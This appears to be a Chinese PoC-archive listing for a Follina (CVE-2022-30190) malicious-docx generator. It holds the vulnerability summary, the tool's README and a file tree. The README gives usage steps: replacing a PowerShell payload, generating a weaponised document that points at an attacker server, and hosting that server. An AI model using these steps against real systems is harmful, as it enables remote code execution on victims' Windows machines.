POC详情： 1e962f54cc69df09afe70623fec7259d5041fda3

来源
https://github.com/sudoaza/CVE-2022-30190
关联漏洞
标题： Microsoft Windows Support Diagnostic Tool 操作系统命令注入漏洞 (CVE-2022-30190)
描述：Microsoft Windows Support Diagnostic Tool是美国微软（Microsoft）公司的收集信息以发送给 Microsoft 支持的工具。 Microsoft Windows Support Diagnostic Tool (MSDT)存在操作系统命令注入漏洞。以下产品和版本受到影响：Windows 10 Version 1809 for 32-bit Systems,Windows 10 Version 1809 for x64-based Systems,Windows
描述
MS-MSDT Follina CVE-2022-30190 PoC document generator
介绍
# MS-MSDT Follina CVE-2022-30190 PoC

Malicious docx generator to exploit  (Microsoft Office Word Remote Code Execution)

Creation of this Script is based on [CVE-2021-40444 PoC by LockedByte](https://github.com/lockedbyte/CVE-2021-40444) and [writeup by Tothi](https://gist.github.com/tothi/66290a42896a97920055e50128c9f040)

# Using

First modify backup.html and replace powershell payload. Right now just pops a `calc.exe` using `IEX('calc.exe')`.

`python3 exploit.py generate http://<SRV IP>`

![Document generation](./img/gen.png)

Once you generate the malicious docx (will be at `out/`) you can setup the server:

`sudo python3 exploit.py host 80`

![Server](./img/srv.png)

Finally try the docx in a Windows Virtual Machine:

![Pop Calc](./img/calc.png)
文件快照

 [4.0K]  /data/pocs/1e962f54cc69df09afe70623fec7259d5041fda3
├── [4.0K]  data
│   └── [4.0K]  word_dat
│       ├── [1.4K]  [Content_Types].xml
│       ├── [4.0K]  docProps
│       │   ├── [ 733]  app.xml
│       │   └── [ 745]  core.xml
│       ├── [4.0K]  _rels
│       └── [4.0K]  word
│           ├── [ 14K]  document.xml
│           ├── [2.3K]  fontTable.xml
│           ├── [4.0K]  _rels
│           │   └── [1.2K]  document.xml.rels
│           ├── [2.6K]  settings.xml
│           ├── [ 32K]  styles.xml
│           ├── [4.0K]  theme
│           │   └── [6.9K]  theme1.xml
│           └── [ 603]  webSettings.xml
├── [2.2K]  exploit.py
├── [4.0K]  img
│   ├── [ 46K]  calc.png
│   ├── [ 82K]  gen.png
│   └── [186K]  srv.png
├── [4.0K]  out
│   └── [   1]  0-blank
├── [ 763]  README.md
└── [4.0K]  srv
    ├── [4.5K]  backup.html
    └── [ 11K]  index.html

10 directories, 18 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
    3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。